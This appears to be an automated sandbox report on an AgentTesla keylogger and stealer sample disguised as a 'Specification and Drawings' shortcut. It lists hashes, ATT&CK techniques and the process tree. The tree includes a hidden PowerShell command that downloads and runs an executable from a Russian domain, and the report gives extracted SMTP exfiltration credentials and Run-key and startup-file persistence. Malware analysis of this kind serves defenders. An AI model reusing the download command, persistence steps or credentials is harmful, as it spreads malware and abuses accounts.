agenttesla | d820d9f270915fc81bedefd16bf7b8a20cb88a4d1e55d8566b9367fa494ac356

General

Target

Specification and Drawings.lnk
Size

2KB
MD5

82937aae96fa6a40b59703eea97ce1ef
SHA1

d23b17711e2e65609c9973d6f03dde3d2acb3568
SHA256

d820d9f270915fc81bedefd16bf7b8a20cb88a4d1e55d8566b9367fa494ac356
SHA512

f3d66ad7d89da4bd494f173506ced0fe46404a786876e4664658e0db4b8075a18e0579f4bb5319aba9dee9338b1f64782a2b3f1f4d7640187b4dfbc0d3240bc8

Score

10^/10

agenttesla discovery execution keylogger persistence spyware stealer trojan

Malware Config

Extracted

Credentials

Protocol: smtp
Host:
techniqueqatar.com
Port:
587
Username:
[email protected]
Password:
TechFB2023$$$

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
techniqueqatar.com
Port:
587
Username:
[email protected]
Password:
TechFB2023$$$
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	2408	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2408	powershell.exe
2408	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Control Panel\International\Geo\Nation	cmd.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\beeish.vbs	beeish.exe

Executes dropped EXE 2 IoCs

pid	Process
2980	file.exe
3448	beeish.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\aWUFv = "C:\\Users\\Admin\\AppData\\Roaming\\aWUFv\\aWUFv.exe"	RegSvcs.exe

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
19	api.ipify.org
20	api.ipify.org
21	ip-api.com

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral2/files/0x0008000000023474-19.dat	autoit_exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3448 set thread context of 4952	3448	beeish.exe	88

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	file.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	beeish.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2408	powershell.exe
2408	powershell.exe
4952	RegSvcs.exe
4952	RegSvcs.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
3448	beeish.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2408	powershell.exe
Token: SeDebugPrivilege	4952	RegSvcs.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4952	RegSvcs.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 4876 wrote to memory of 2408	4876	cmd.exe	85
PID 4876 wrote to memory of 2408	4876	cmd.exe	85
PID 2408 wrote to memory of 2980	2408	powershell.exe	86
PID 2408 wrote to memory of 2980	2408	powershell.exe	86
PID 2408 wrote to memory of 2980	2408	powershell.exe	86
PID 2980 wrote to memory of 3448	2980	file.exe	87
PID 2980 wrote to memory of 3448	2980	file.exe	87
PID 2980 wrote to memory of 3448	2980	file.exe	87
PID 3448 wrote to memory of 4952	3448	beeish.exe	88
PID 3448 wrote to memory of 4952	3448	beeish.exe	88
PID 3448 wrote to memory of 4952	3448	beeish.exe	88
PID 3448 wrote to memory of 4952	3448	beeish.exe	88

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\ Specification and Drawings.lnk"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4876
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -command "& { Invoke-WebRequest -Uri https://oootorgline.ru/components/grace.exe -OutFile C:\Users\Admin\AppData\Local\Temp\file.exe; Start-Process 'C:\Users\Admin\AppData\Local\Temp\file.exe' }"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2408
- - C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2980
  - - C:\Users\Admin\AppData\Local\nasal\beeish.exe
      "C:\Users\Admin\AppData\Local\Temp\file.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:3448
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
        
        "C:\Users\Admin\AppData\Local\Temp\file.exe"
        5⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:4952

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iwhqsygu.jlh.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\file.exe

Filesize
1.1MB

MD5
0d14cd85f7729e2b3c4c8c5247ac3df4

SHA1
c6f99226a3728bf9d0eb53e98538b98e8504bc7f

SHA256
5fc47ca65df767fcb09cc074dff3d5d02ab6c61ffff00b409ea2fa4107e080ce

SHA512
8c281c891ba5763b0f2b148ebc85d9e73f00e0d71b4aa1dda7507719480b9f00833ed7edb84f32b2d1af38058ba544b6a0f37d2843d9cf821429362fb43e6985

Download Submit
memory/2408-28-0x00007FFFCDA10000-0x00007FFFCE4D1000-memory.dmp

Filesize
10.8MB

Download
memory/2408-14-0x00007FFFCDA10000-0x00007FFFCE4D1000-memory.dmp

Filesize
10.8MB

Download
memory/2408-13-0x00007FFFCDA10000-0x00007FFFCE4D1000-memory.dmp

Filesize
10.8MB

Download
memory/2408-2-0x00007FFFCDA13000-0x00007FFFCDA15000-memory.dmp

Filesize
8KB

Download
memory/2408-3-0x000001D4F9470000-0x000001D4F9492000-memory.dmp

Filesize
136KB

Download
memory/4952-39-0x0000000000400000-0x0000000000444000-memory.dmp

Filesize
272KB

Download
memory/4952-40-0x0000000005620000-0x0000000005BC4000-memory.dmp

Filesize
5.6MB

Download
memory/4952-41-0x00000000051B0000-0x0000000005216000-memory.dmp

Filesize
408KB

Download
memory/4952-42-0x00000000064D0000-0x0000000006562000-memory.dmp

Filesize
584KB

Download
memory/4952-45-0x0000000006570000-0x00000000065C0000-memory.dmp

Filesize
320KB

Download
memory/4952-46-0x0000000006660000-0x00000000066FC000-memory.dmp

Filesize
624KB

Download
memory/4952-47-0x0000000006600000-0x000000000660A000-memory.dmp

Filesize
40KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads